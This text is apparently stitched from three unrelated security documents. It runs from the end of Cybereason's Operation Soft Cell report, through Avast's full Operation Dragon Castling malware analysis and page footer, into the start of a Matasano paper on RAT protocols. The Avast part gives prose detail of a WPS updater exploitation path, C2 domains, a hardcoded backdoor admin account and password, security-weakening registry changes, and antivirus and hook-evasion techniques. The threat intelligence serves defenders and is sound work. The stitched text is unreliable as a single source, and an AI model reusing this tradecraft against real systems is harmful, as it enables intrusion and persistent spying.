While we cannot completely rule out a copy-cat scenario, where another threat actor might masquerade as APT10 to thwart attribution efforts, we find this option to be less likely in light of our analysis of the data.
Conclusion In this blog, we have described an ongoing global attack against telecommunications providers that has been active since at least 2017.
The threat actor managed to infiltrate into the deepest segments of the providers network, including some isolated from the internet, as well as compromise critical assets.
Our investigation showed that these attacks were targeted, and that the threat actor sought to steal communications data of specific individuals in various countries.
Throughout this investigation, we have uncovered the infrastructure that facilitated the malicious operations taken by this threat actor.
The data exfiltrated by this threat actor, in conjunction with the TTPs and tools used, allowed us to determine with a very high probability that the threat actor behind these malicious operations is backed by a nation 26/27 https://attack.mitre.org/groups/G0045/ state, and is affiliated with China.
Our contextualized interpretation of the data suggests that the threat actor is likely APT10, or at the very least, a threat actor that shares, or wishes to emulate its methods by using the same tools, techniques, and motives.
Its important to keep in mind that even though the attacks targeted specific individuals, any entity that possesses the power to take over the networks of telecommunications providers can potentially leverage its unlawful access and control of the network to shut down or disrupt an entire cellular network as part of a larger cyber warfare operation.
Due to multiple and various limitations, we cannot disclose all the information we have gathered on the attack in this report.
Our team will continue to monitor and track the threat actors activity in order to identify more tools and compromised organizations.
Ask the researchers questions about this attack during their live webinar.
Closing Notes: This research, which is still ongoing, has been a huge effort for the entire Cybereason Nocturnus team.
Special thanks goes to Niv Yona, Noa Pinkas, Josh Trombley, Jakes Jansen, and every single member of the Nocturnus team for the countless hours and effort that were put into this research.
We will continue to monitor and update our blog with more information once available and as our investigation progresses.
27/27 Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers Research by: Mor Levi, Assaf Dahan, and Amit Serper EXECUTIVE SUMMARY Key Points Security Recommendations Table of Contents INTRODUCTION Anatomy of the Attack Initial Compromise: the Modified China Chopper Web Shell Reconnaissance and Credential Stealing Modified nbtscan Modified Mimikatz Dumping the SAM Hive from the Registry Lateral Movement Maintaining a Long-term Foothold and Stealing Data PoisonIvy Secondary Web Shells Data Exfiltration Compressing the Stolen Data hTran Understanding the Motive Threat Intel Research Methodology Step 1: Creating and Maintaining an IOC Inventory Step 2: Hunting for Known Evil Step 3: Threat Actors Arsenal Step 4: Creating a TTP-based Behavioral Profile Step 5: Mapping out the Infrastructure and Operational Activity Step 6: Rounding Up Immediate/Potential Suspects Conclusion
1/18 March 22, 2022 Operation Dragon Castling: APT group targeting betting companies decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies Introduction We recently discovered an APT  campaign we are calling Operation Dragon Castling .
The campaign is targeting what appears to be betting companies in South East Asia , more specifically companies located in Taiwan , the Philippines , and Hong Kong .
With moderate confidence, we can attribute the campaign to a Chinese speaking APT group , but unfortunately cannot attribute the attack to a specific group and are not sure what the attackers are after.
We found notable code similarity between one of the modules used by this APT group (the MulCom backdoor ) and the FFRat  samples described by the BlackBerry Cylance Threat Research Team  in their 2017  report and Palo Alto Networks  in their 2015  report.
Based on this, we suspect that the FFRat codebase is being shared between several Chinese adversary groups.
Unfortunately, this is not sufficient for attribution as FFRat itself was never reliably attributed.
In this blogpost we will describe the malware used in these attacks and the backdoor planted by the APT group, as well as other malicious files used to gain persistence and access to the infected machines.
We will also discuss the two infection vectors we saw being used to deliver the malware: an infected installer and exploitation of a vulnerable legitimate application, WPS  Office .
We identified a new vulnerability (CVE-2022-24934) in the WPS Office updater wpsupdate.exe, which we suspect that the attackers abused.
We would like to thank Taiwans TeamT5  for providing us with IoCs related to the infection vector.
Infrastructure and toolset https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies/ https://blogs.blackberry.com/en/2017/06/breaking-down-ff-rat-malware https://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/ https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2022-24934 https://teamt5.org/en/ 2/18 In the diagram above, we describe the relations between the malicious files.
Some of the relations might not be accurate, e.g.
we are not entirely sure if the MulCom backdoor is loaded by the CorePlugin .
However, we strongly believe that it is one of the malicious files used in this campaign.
Infection Vector Weve seen multiple infection vectors used in this campaign.
Among others, an attacker sent an email with an infected installer to the support team of one of the targeted companies asking to check for a bug in their software.
In this post, we are going to describe another vector weve seen: a fake WPS Office  update package.
We suspect an attacker exploited a bug in the WPS updater  wpsupdate.exe , which is a part of the WPS Office installation package.
We have contacted WPS Office team about the vulnerability ( CVE-2022- 24934 ), which we discovered, and it has since been fixed.
During our investigation we saw suspicious behavior in the WPS updater process.
When analyzing the binary we discovered a potential security issue that allows an attacker to use the updater to communicate with a server controlled by the attacker to perform actions on the victims system, including downloading and running arbitrary executables.
To exploit the vulnerability, a registry key under HKEY_CURRENT_USER needs to be modified, and by doing this an attacker gains persistence on the system and control over the update process.
In the case we analyzed, the malicious binary was downloaded from the domain update.wps[.
]cn , which is a domain belonging to Kingsoft , but the serving IP ( 103.140.187.16 ) has no relationship to the company, so we assume that it is a fake update server used by the attackers.
The downloaded binary ( setup_CN_2052_11.1.0.8830_PersonalDownload_Triale.exe - B9BEA7D1822D9996E0F04CB5BF5103C48828C5121B82E3EB9860E7C4577E2954 ) drops two files for https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/final.drawio.png https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2022-24934 3/18 sideloading: a signed QMSpeedupRocketTrayInjectHelper64.exe - Tencent Technology (a3f3bc958107258b3aa6e9e959377dfa607534cc6a426ee8ae193b463483c341)  and a malicious DLL QMSpeedupRocketTrayStub64.dll.
Dropper 1 (QMSpeedupRocketTrayStub64.dll) 76adf4fd93b70c4dece4b536b4fae76793d9aa7d8d6ee1750c1ad1f0ffa75491 The first stage is a backdoor communicating with a CC ( mirrors.centos.8788912[.
]com ).
Before contacting the CC server, the backdoor performs several preparational operations.
It hooks three functions: GetProcAddress , FreeLibrary , LdrUnloadDll .
To get the CC domain, it maps itself to the memory and reads data starting at the offset 1064 from the end.
The domain name is not encrypted in any way and is stored as a wide string in clear text in the binary.
Then it initializes an object for a JScript  class with the named item ScriptHelper .
The dropper uses the ImpersonateLoggedOnUser API Call to re-use a token from explorer.exe  so it effectively runs under the same user.
Additionally, it uses RegOverridePredefKey to redirect the current HKEY_CURRENT_USER to HKEY_CURRENT_USER  of an impersonated user.
For communication with CC it constructs a UserAgent string with some system information e.g.
Mozilla/4.0 (compatible MSIE 9.0 Windows NT 6.1.NET CLR 2.0).
The information that is exfiltrated is: Internet Explorer version, Windows version, the value of the User Agent\Post Platform registry values.
After that, the sample constructs JScript code to execute.
The header of the code contains definitions of two variables: server  with the CC domain name and a hardcoded key .
Then it sends the HTTP GET request to /api/connect,  the response should be encrypted JScript code that is decrypted, appended to the constructed header and executed using the JScript class created previously.
At the time of analysis, the CC was not responding, but from the telemetry data we can conclude that it was downloading the next stage from hxxp://mirrors.centos.8788912.com/upload/ea76ad28a3916f52a748a4f475700987.exe  to ProgramData\icbc_logtmp.exe  and executing it.
Dropper 2 (IcbcLog) a428351dcb235b16dc5190c108e6734b09c3b7be93c0ef3d838cf91641b328b3 The second dropper is a runner that, when executed, tries to escalate privileges via the COM Session Moniker Privilege Escalation (MS17-012) , then dropping a few binaries, which are stored with the following resource IDs: https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/Untitled.png https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-012 4/18 Resource ID Filename Description 1825 smcache.dat List of CC domains 1832 log.dll Loader (CoreX) 64bit 1840 bdservicehost.exe Signed PE for sideloading 64bit 1841 N/A Filenames for sideloading 1817 inst.dat Working path 1816 hostcfg.dat Used in the Host header, in CC communication 1833 bdservicehost.exe Signed PE for sideloading 32bit  N/A 1831 log.dll Loader  (32bit)  N/A The encrypted payloads have the following structure: The encryption key is a wide string starting from offset 0x8 .
The encrypted data starts at the offset 0x528 .
To decrypt the data, a SHA256 hash of the key is created using CryptHashData API, and is then used with a hard-coded IV  0123456789abcde  to decrypt the data using CryptDecrypt API with the AES256 algorithm.
After that, the decrypted data is decompressed with RtlDecompressBuffer .
To verify that the decryption went well, the CRC32  of the data is computed and compared to the value at the offset 0x4 of the original resource data.
When all the payloads are dropped to the disk, bdservicehost.exe is executed to run the next stage.
Loader (CoreX) 97c392ca71d11de76b69d8bf6caf06fa3802d0157257764a0e3d6f0159436c42 The Loader (CoreX) DLL is sideloaded during the previous stage (Dropper 2)  and acts as a dropper.
Similarly to Dropper 1 , it hooks the GetProcAddress and FreeLibrary API functions.
These hooks execute the main code of this library.
The main code first checks whether it was loaded by regsvr32.exe and then it retrieves encrypted data from its resources.
This data is dropped into the same folder as syscfg.dat .
The file is then loaded and decrypted using AES-256 with the following options for setup: Key is the computer name and IV is qwertyui12345678 AES-256 setup parameters are embedded in the resource in the format keyIV .
So you may e.g.
see cbfc2vyuzckloknf8o3yfn0uee429m8d AES-256 setup parameters The main code continues to check if the process ekrn.exe  is running.
ekrn.exe  is an ESET Kernel service.
If the ESET Kernel service is running, it will try to remap ntdll.dll .
We assume that this is used to bypass ntdll.dll  hooking.
5/18 After a service check, it will decompress and execute shellcode, which in turn loads a DLL with the next stage.
The DLL is stored, unencrypted, as part of the shellcode.
The shellcode enumerates exports of ntdll.dll and builds an array with hashes of names of all Zw  functions (windows native API system calls) then sorts them by their RVA.
By doing this, the shellcode exploits the fact that the order of RVAs of Zw  functions equals the order of the corresponding syscalls, so an index of the Zw  function in this array is a syscall number, which can be called using the syscall instruction.
Security solutions can therefore be bypassed based on the hooking of the API in userspace.
Finally, the embedded core module DLL is loaded and executed.
Proto8 (Core module) f3ed09ee3fe869e76f34eee1ef974d1b24297a13a58ebff20ea4541b9a2d86c7 The core module is a single DLL that is responsible for setting up the malwares working directory, loading configuration files, updating its code, loading plugins, beaconing to CC servers and waiting for commands.
It has a cascading structure with four steps: Step 1 The first part is dedicated to initial checks and a few evasion techniques.
At first, the core module verifies that the DLL is being run by spdlogd.exe  (an executable used for persistence, see below) or that it is not being run by rundll32.exe.
If this check fails, the execution terminates.
The DLL proceeds by hooking the GetProcAddress and FreeLibrary functions in order to execute the main function, similarly to the previous infection stages.
The GetProcAddress hook contains an interesting debug output in googo.
The malware then creates a new window (named Sample ) with a custom callback function.
A message with the ID 0x411 is sent to the window via SendMessageW  which causes the aforementioned callback to execute the main function.
The callback function can also process the 0x412 message ID, even though no specific functionality is tied to it.
Exported function Core2 sends message 0x411 https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/in-googo.png https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/411.png 6/18 Exported function Ldr2 sends message 0x412 The window callback only contains implementation for message 0x411 but there is a check for 0x412 as well Step 2 In the second step, the module tries to self-update, load configuration files and set up its working directory (WD).
Self-update https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/412.png https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/window-msg.png https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/step-2-dark-w-logo.png 7/18 The malware first looks for a file called new_version.dat   if it exists, its content is loaded into memory, executed in a new thread and a debug string run code ok  is printed out.
We did not come across this file, but based on its name and context, this is most likely a self update functionality.
Load configuration file inst.dat and set up working directory.
First, the core module configuration file inst.dat is searched for in the following three locations: the directory where the core module DLL is located the directory where the EXE that loaded the core module DLL it is located C:\ProgramData\ It contains the path to the malwares working directory in plaintext.
If it is not found, a hard-coded directory name is used and the directory is created.
The working directory is a location the malware uses to drop or read any files it uses in subsequent execution phases.
Load configuration file smcache.dat .
After the working directory is set up, the sample will load the configuration file smcache.dat  from it.
This file contains the domains, protocols and port numbers used to communicate with CC servers (details in Step 4) plus a comment  string.
This string is likely used to identify the campaign or individual victims.
It is used to create an empty file on the victims computer (see below) and its also sent as a part of the initial beacon when communicating with CC servers.
We refer to it as the  comment string  because we have seen a few versions of smcache.dat where the content of the string was  the comment string here  and it is also present in another configuration file with the name comment.dat  which has the INI file format and contains this string under the key COMMENT.
Create a log file Right after the sample finds and reads smcache.dat, it creates a file based on the victims username and the comment string from smcache.dat.
If the comment string is not present, it will use a default hard-coded value (for example M86_99.lck ).
Based on the extension it could be a log of some sort, but we havent seen any part of the malware writing into it so it could just serve as a lockfile.
After the file is successfully created, the malware creates a mutex and goes on to the next step.
Step 3 Next, the malware collects information about the infected environment (such as username, DNS and NetBios computer names as well as OS version and architecture) and sets up its internal structures, most notably a list of call objects .
Call objects are structures each associated with a particular function and saved into a dispatcher  structure in a map with hard-coded 4-byte keys.
These keys are later used to call the functions based on commands from CC servers.
The key values (IDs) seem to be structured, where the first three bytes are always the same within a given sample, while the last byte is always the same for a given usage across all the core module samples that weve seen.
For example, the function that calls the RevertToSelf function is identified by the number https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/run-code-ok.png 8/18 0x20210326 in some versions of the core module that weve seen and  0x19181726 in others.
This suggests that the first three bytes of the ID number are tied to the core module version, or more likely the infrastructure version, while the last byte is the actual ID of a function.
ID (last byte) Function description 0x02 unimplemented function 0x19 retrieves content of smcache.dat  and sends it to the CC server 0x1A writes data to smcache.dat 0x25 impersonates the logged on user or the explorer.exe process 0x26 function that calls RevertToSelf 0x31 receives data and copies it into a newly allocated executable buffer 0x33 receives core plugin code, drops it on disk and then loads and calls it 0x56 writes a value into comment.dat Webdav While initializing the call objects the core module also tries to connect to the URL hxxps://dav.jianguoyun.com/dav/  with the username 12121jhksdf and password 121121212 by calling WNetAddConnection3W .
This address was not responsive at the time of analysis but jianguoyun[.
]com  is a Chinese file sharing service.
Our hypothesis is that this is either a way to get plugin code or an updated version of the core module itself.
Plugins The core module contains a function that receives a buffer with plugin DLL data, saves it into a file with the name kbgtick_count.dat  in the malware working directory, loads it into memory and then calls its exported function InitCorePlug .
The plugin file on disk is set to be deleted on reboot by calling MoveFileExW with the parameter MOVEFILE_DELAY_UNTIL_REBOOT .
For more information about the plugins, see the dedicated Plugins section.
Step 4 In the final step, the malware will iterate over CC servers contained in the smcache.dat configuration file and will try to reach each one.
The structure of the smcache.dat  config file is as follows: The protocol string can have one of nine possible values: TCP HTTPS UDP DNS ICMP HTTPSIPV6 WEB SSH HTTP 9/18 The structure of the smcache.dat  config file Depending on the protocol tied to the particular CC domain, the malware sets up the connection, sends a beacon to the CC and waits for commands.
In this blogpost, we will mainly focus on the HTTP protocol option as weve seen it being used by the attackers.
When using the HTTP protocol, the core module first opens two persistent request handles  one for POST and one for GET requests, both to /connect .
These handles are tested by sending an empty buffer in the POST request and checking the HTTP status code of the GET request.
Following this, the malware sends the initial beacon to the CC server by calling the InternetWriteFile API with the previously opened POST request handle and reads data from the GET request handle by calling InternetReadFile .
HTTP packet order https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/struct.png https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/HTTP-vftable.png https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/wireshark-1.png 10/18 HTTP POST beacon The core module uses the following (mostly hard-coded) HTTP headers: Accept: / x-cid: uuid   new uuid is generated for each GET/POST request pair Pragma: no-cache Cache-control: no-transform User-Agent: user_agent   generated from registry or hard-coded (see below) Host: host_value   CC server domain or the value from hostcfg.dat (see below) Connection: Keep-Alive Content-Length: 4294967295  (max uint, only in the POST request) User-Agent header The User-Agent string is constructed from the registry the same way as in the Dropper 1  module (including the logged-on user impersonation when accessing registry) or a hard-coded string is used if the registry access fails: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 6.1 WOW64 Trident/4.0 SLCC2 .NET CLR 2.0.50727 .NET CLR 3.5.30729 .NET CLR 3.0.30729 Media Center PC 6.0) .
Host header When setting up this header, the malware looks for either a resource with the  ID 1816  or a file called hostcfg.dat  if the resource is not found.
If the resource or file is found, the content is used as the value in the Host HTTP header for all CC communication instead of the CC domain found in smcache.dat .
It does not change the actual CC domain to which the request is made  this suggests the possibility of the CC server being behind a reverse proxy.
Initial beacon The first data packet the malware sends to a CC server contains a base64 encoded LZNT1-compressed buffer, including a newly generated uuid (different from the uuid used in the x-cid header), the victims username, OS version and architecture, computer DNS and BIOS names and the comment string found in smcache.dat or  comment.dat .
The value from comment.dat  takes precedence if this file exists.
In the core module sample we analyzed, there was actually a typo in the function that reads the value from comment.dat  it looks for the key  COMMNET  instead of COMMENT .
https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/wireshark-2.png 11/18 After this, the malware enters a loop waiting for commands from the CC server in the form of the ID value of one of the call objects.
Each message sent to the CC server contains a hard-coded four byte number value with the same structure as the values used as keys in the call-object map.
The ID numbers associated with messages sent to CC servers that weve seen are: ID (last byte) Usage 0x1B message to CC which contains smcache.dat content 0x24 message to CC which contains a debug string 0x2F general message to CC 0x30 message to CC, unknown specific purpose 0x32 message to CC related to plugins 0x80 initial beacon to a CC server Interesting observations about the protocols, other than the HTTP protocol: HTTPS does not use persistent request handles HTTPS uses HTTP GET request with data Base64-encoded in the cookie header to send the initial beacon HTTPS, TCP and UDP use a custom magic header: Magic-Code: hhjjdfgh General observations on the core module The core samples we observed often output debug strings via OutputDebugStringA and OutputDebugStringW or by sending them to the CC server.
Examples of debug strings used by the core module are: its filepath at the beginning of execution, run code ok  after self-update, In googo  in the hook of GetProcAddress , recv bomb  and sent bomb  in the main CC communicating function, etc.
String obfuscation We came across samples of the core module with only cleartext strings but also samples with certain strings obfuscated by XORing them with a unique (per sample) hard-coded key.
Even within the samples that contain obfuscated strings, there are many cleartext strings present and there seems to be no logic in deciding which string will be obfuscated and which wont.
For example, most format strings are obfuscated, but important IoCs such as credentials or filenames are not.
To illustrate this: most strings in the function that retrieves a value from the comment.dat file are obfuscated and the call to GetPrivateProfileStringW is dynamically resolved by the GetProcAddress API, but all the strings in the function that writes into the same config file are in cleartext and there is a direct call to https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/nothing.png 12/18 WritePrivateProfileStringW .
Overall, the core module code is quite robust and contains many failsafes and options for different scenarios (for example, the amount of possible protocols used for CC communication), however, we probably only saw samples of this malware that are still in active development as there are many functions that are not yet implemented and only serve as placeholders.
Plugins In the section below, we will describe the functionality of the plugins used by the Core Module (Proto8)  to extend its functionality.
We are going to describe three plugins with various functionalities, such as: Achieving persistence Bypassing UAC Registering an RPC interface Creating a new account Backdoor capabilities Core Plugin 0985D65FA981ABD57A4929D8ECD866FC72CE8C286BA9EB252CA180E280BD8755 This plugin is a DLL binary loaded by the fileless core module ( Proto8 ) as mentioned above.
It extends the malwares functionality by adding methods for managing additional plugins.
These additional plugins  export the function GetPlugin  which the core plugin executes.
This part uses the same command ID based calling convention as the core module (see above), adding three new methods: ID (last byte) Function description 0x2B send information about plugin location to the to CC server 0x2C remove a plugin 0x2A load a plugin All plugin binaries used by the core module are stored in the working directory under the name kbgtick_count.dat .
After the Core Plugin  is loaded, it first removes all plugins from the working directory  see the image below.
13/18 Zload(Atomx.dll,xps1.dll) 2ABC43865E49F8835844D30372697FDA55992E5A6A13808CFEED1C37BA8F7876 The DLL we call Zload is an example of a plugin loaded by the Core Plugin .
It exports four functions: GetPlugin , Install , core_zload  and zload .
The main functionality of this plugin is setting up persistence, creating a backdoor user account, and concealing itself on the infected system.
We will focus on the exported functions zload , core_zload  and the default DllMain function, as they contain the most interesting functionality.
Zload (process starter) This function is fairly simple, its main objective is to execute another binary.
It first retrieves the path to the directory where the Zload plugin binary is located (root_folder)  and creates a new subfolder called mec in it.
After this it renames and moves three files into it: the Zload plugin binary itself as  root_folder\mec\logexts.dll , root_folder\spdlogd.exe  as root_folder\mec\spdagent.exe  and root_folder\kb.ini  as  root_folder\mec\kb.ini After the files are renamed and moved, it creates a new process by executing the binary root_folder\mec\spdagent.exe  (originally root_folder\spdlogd.exe ).
core_zload (persistence setup) This function is responsible for persistence which it achieves by registering itself into the list of security support providers (SSPs).
Windows SSP DLLs are loaded into the Local Security Authority (LSA) process when the system boots.
The code of this function is notably similar to the mimikat_ssp/AddSecurityPackage_RawRPC  source code found on github.
DllMain (sideloading, setup) The default DllMain function leverages several persistence and evasion techniques.
It also allows the attacker to create a backdoor account on the infected system and lower the overall system security.
https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/search_for_file_and_push_path_to_vector.png https://github.com/jas502n/mimikat_ssp/blob/master/AddSecurityPackage_RawRPC.cpp 14/18 Persistence The plugin first checks if its DLL was loaded either by the processes lsass.exe  or  spdagent.exe .
If the DLL was loaded by spdagent.exe , it will adjust the token privileges of the current process.
If it was loaded by lsass.exe , it will retrieve the path kbnum.dll  from the configuration file kb.ini  and write it under the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters AutodialDLL .
This ensures persistence, as it causes the DLL kbnum.dll  to be loaded each time the Winsock 2 library ( ws2_32.dll ) is invoked.
Evasion To avoid detection, the plugin first checks the list of running processes for avp.exe  (Kaspersky Antivirus) or NortonSecurity.exe  and exits if either of them is found.
If these processes are not found on the system, it goes on to conceal itself by changing its own process name to explorer.exe .
The plugin also has the capability to bypass the UAC mechanisms and to elevate its process privileges through CMSTP COM  interfaces, such as CMSTPLUA 3E5FC7F9-9A51-4367-9063-A120244FBEC7 .
Backdoor user account creation Next, the plugin carries out registry manipulation (details can be found in the appendix), that lowers the systems protection by: Allowing local accounts to have full admin rights when they are authenticating via network logon Enabling RDP connections to the machine without the user password Disabling admin approval on an administrator account, which means that all applications run with full administrative privileges Enabling anonymous SID to be part of the everyone group in Windows Allowing Null Session  users to list users and groups in the domain Allowing Null Session  users to access shared folders Setting the name of the pipe that will be accessible to Null Session users After this step, the plugin changes the WebClient service startup type to Automatic .
It creates a new user with the name DefaultAccount  and the password Admin1999  which is then added to the Administrator  and Remote Desktop Users  groups.
It also hides the new account on the logon screen.
As the last step, the plugin checks the list of running processes for process names 360tray.exe  and 360sd.exe  and executes the file spdlogd.exe  if neither of them is found.
MecGame(kbnum.dll) 4C73A62A9F19EEBB4FEFF4FDB88E4682EF852E37FFF957C9E1CFF27C5E5D47AD MecGame is another example of a plugin that can be loaded by the Core Plugin .
Its main purpose is similar to the previously described Zload  plugin  it executes the binary spdlogd.exe  and achieves persistence by registering an RPC interface with UUID 1052E375-2CE2-458E-AA80-F3B7D6EA23AF .
This RPC interface represents a function that decodes and executes a base64 encoded shellcode.
The MecGame plugin has several methods for executing spdlogd.exe depending on the level of available privileges.
It also creates a lockfile with the name MSSYS.lck  or UserName-XPS.lck  depending on the name of the process that loaded it, and deletes the files atomxd.dll and  logexts.dll .
15/18 It can be installed as a service with the service name inteloem  or can be loaded by any executable that connects to the internet via the Winsock2  library.
MulCom ABA89668C6E9681671A95B3D7A08AAE2A067DEED2D835BA6F6FD18556C88A5F2 This DLL is a backdoor module which exports four functions: OperateRoutineW , StartRoutineW , StopRoutineW  and WorkRoutineW  the main malicious function being StartRoutineW .
For proper execution, the backdoor needs configuration data accessed through a shared object with the file mapping name either Global\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB  or Local\\4ED8FD41- 2D1B-4CC3-B874-02F0C60FF9CB .
Unfortunately we didnt come across the configuration data, so we are missing some information such as the CC server domains this module uses.
There are 15 commands supported by this backdoor (although some of them are not implemented) referred to by the following numerical identifiers: Command ID Function description 1 Sends collected data from executed commands.
It is used only if the authentication with a proxy is done through NTLM 2 Finds out information about the domain name, user name and security identifier of the process explorer.exe .
It finds out the user name, domain name, and computer name of all Remote Desktop sessions.
3 Enumerates root disks 4 Enumerates files and finds out their creation time, last access time and last write time 5 Creates a process with a duplicated token.
The token is obtained from one of the processes in the list (see Appendix).
6 Enumerates files and finds out creation time, last time access, last write time 7 Renames files 8 Deletes files 9 Creates a directory 101 Sends an error code obtained via GetLastError API function 102 Enumerates files in a specific folder and finds out their creation time, last access time and last write time 103 Uploads a file to the CC server 104 Not implemented (reserved) Combination of 105/106/107 Creates a directory and downloads files from the CC server Communication protocol 16/18 The MulCom backdoor is capable of communicating via HTTP and TCP protocols.
The data it exchanges with the CC servers is encrypted and compressed by the RC4 and aPack algorithms respectively, using the RC4 key loaded from the configuration data object.
It is also capable of proxy server authentication using schemes such as Basic, NTLM, Negotiate or to authenticate via either the SOCKS4 and SOCKS5 protocols.
After successful authentication with a proxy server, the backdoor sends data xorred by the constant 0xBC .
This data is a set with the following structure: Data structure Another interesting capability of this backdoor is the usage of layered CC servers.
If this option is enabled in the configuration object (it is not the default option), the first request goes to the first layer CC server, which returns the IP address of the second layer.
Any subsequent communication goes to the second layer directly.
As previously stated, we found several code similarities between the MulCom DLL and the FFRat (a.k.a.
FormerFirstRAT ).
Conclusion We have described a robust and modular toolset used most likely by a Chinese speaking APT group targeting gambling-related companies in South East Asia.
As we mentioned in this blogpost, there are notable code similarities between FFRat samples and the MulCom backdoor.
FFRat or FormerFirstRAT  has been publicly associated with the  DragonOK group  according to the Palo Alto Network report, which has in turn been associated with backdoors like PoisonIvy  and PlugX  tools commonly used by Chinese speaking attackers.
We also described two different infection vectors, one of which weaponized a vulnerable WPS Office updater.
We rate the threat this infection vector represents as very high, as WPS Office claims to have 1.2 billion installations worldwide, and this vulnerability potentially allows a simple way to execute arbitrary code on any of these devices.
We have contacted WPS Office about the vulnerability we discovered and it has since been fixed.
Our research points to some unanswered questions, such as reliable attribution and the attackers motivation.
Appendix List of processes: 360sd.exe 360rp.exe 360Tray.exe 360Safe.exe 360rps.exe https://decoded.avast.io/wp-content/uploads/sites/2/2022/03/getacp.png https://www.wps.com/about-us/ 17/18 ZhuDongFangYu.exe kxetray.exe kxescore.exe KSafeTray.exe KSafe.exe audiodg.exe iexplore.exe MicrosoftEdge.exe MicrosoftEdgeCP.exe chrome.exe Registry values changed by the Zload plugin: Registry path in HKEY_LOCAL_MACHINE Registry key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System LocalAccountTokenFilterPolicy 1 FilterAdministratorToken 0 SYSTEM\\CurrentControlSet\\Control\\Lsa LimitBlankPasswordUse  0 EveryoneIncludesAnonymous 1 RestrictAnonymous  0 System\\CurrentControlSet\\Services\\LanManServer\\Parameters RestrictNullSessAccess  0 NullSessionPipes RpcServices Core module working directory (WD) Default hard-coded WD names (created either in  C:\ProgramData\  or in TEMP ): spptools NewGame TspSoft InstallAtomx File used to test permissions: game_tick_count.log   the WD path is written into it and then the file is deleted.
Hard-coded security descriptor used for WD access: D:(AGAWD)(AOICIIOGAWD) .
Lockfile name format: working_dir\victim_username-comment_string.log Core module mutexes: Global\sysmon-windows-x  (x is a CRC32 of an MD5 hash of the victims username) Global\IntelGameSpeed-x  (x is a CRC32 of an MD5 hash of the victims username Global\TencentSecuriryAgent-P01-s (s is the victims username) Indicators of Compromise (IoC) Repository: https://github.com/avast/ioc/tree/master/OperationDragonCastling https://github.com/avast/ioc/tree/master/OperationDragonCastling 18/18 List of SHA- 256: https://github.com/avast/ioc/blob/master/OperationDragonCastling/samples.sha256 Avast Threat Intelligence Team has found a remote access tool (RAT) actively being used in the wild in the Philippines that uses what appears to be a compromised digital certificate belonging to the Philippine Navy.
This is the story of piecing together information and research leading to the discovery of one of the largest botnet-as-a-service cybercrime operations weve seen in a while.
This research reveals that a cryptomining malware campaign we... https://github.com/avast/ioc/blob/master/OperationDragonCastling/samples.sha256
pest control: taming the rats Authors Shawn Denbow Twitter: sdenbow_ Email: denbosrpi.edu Jesse Hertz Twitter: hectohertz Email: jhertzbrown.edu Remote Administration Tools (RATs) allow a remote attacker to control and access the system.
In this paper, we present our analysis of their protocols, explain how to decrypt their traffic, as well as present vulnerabilities we have found.
Introduction As 2012 Matasano summer interns, we were tasked with running a research project with a couple criteria: It should be something we are both interested in.
We should be able to present our research for the company at the end of our internship.
However, on completion, we decided that it would be best if we made our findings public.
With John Villamil, our advisor, we decided that given our interest in low-level analysis, we should analyze Remote Administration Tools (RATs).
RATs have recent seen media attention RATs due to their use by oppressive governments in spying on activists and other dissidents.
We felt this to be a perfect project.
Remote Administration Tools are pieces of software which, once installed on a victims computer allow a remote user to control and access the system.
RATs can be used legitimately by system administrators, or they can be used maliciously.
There are a variety of methods by which they are installed on a computer: Various social engineering tactics can be employed to get a user to open the executable, they can be bundled with other pieces of software, they can be installed as the payload of a virus or worm, or they can be installed after an attacker gains access to a system through an exploit.
Most of the commonly available RATs are at least able to perform keylogging, screen and camera capture, file management, code and script execution, power control, registry management, and password sniffing.
Wikipedia has a more complete list of common RAT functionality [1].
Our research focused on analyzing several publicly available RATs: DarkComet, Bandook, CyberGate and Xtreme RAT.
Interestingly, all of the RATs we analyzed were coded either in part or entirely in Delphi.
They all featured a reverse connecting architecture, as well as some form of cryptography or obfuscation of their communications.
In this paper, we present our analysis of their protocols, explain how to decrypt their traffic, as well as present vulnerabilities we have found.
The appendices to this paper contain MITM tools for decrypting traffic, as well as proof of concept exploits for the vulnerabilities weve found.
RESEARCH mailto:denbosrpi.edu mailto:denbosrpi.edu Basic RAT Architecture Most RATs employ a reverse-connecting architecture.
The client program, resides on the attackers machine and is used to control a compromised system.
If often features a full UI designed for ease of use.
In contrast, the server program is a much smaller stub which is installed on the compromised computer.
These servers feature no UI, and take measures to disguise their presence.
On execution, the sever initiates a connection back to the client computer, and remote control is then possible.
The client program typically has the ability to generate server stubs, which have the IP address of the client (the command and control center) hard coded into them.
Some free versions of the RATs we investigated were feature limited to producing server stubs that were not stealthy or could only connect to localhost, with the ability to generate full stubs only available on purchasing the paid version.
Some servers had measures to defeat or disable antivirus and firewall software on the compromised machine.
The DarkComet RAT DarkComet is one of the most popular RATs in use today, gaining recent notoriety after its use by the Syrian government [13].
The encryption method used in DarkComet has already been extensively analyzed by various researchers [2] [3], so we will not reiterate here.
We reverse engineered the DarkComet protocol and analyzed it for vulnerabilities.
After a quick look at its protocol, it is easy to see that it uses a  as its delimiter between string parameters.
Although, there is no delimiter between the command and the first parameter.
The DarkComet client stores information about servers in a SQLite database, which is kept in the directory from which the client runs.
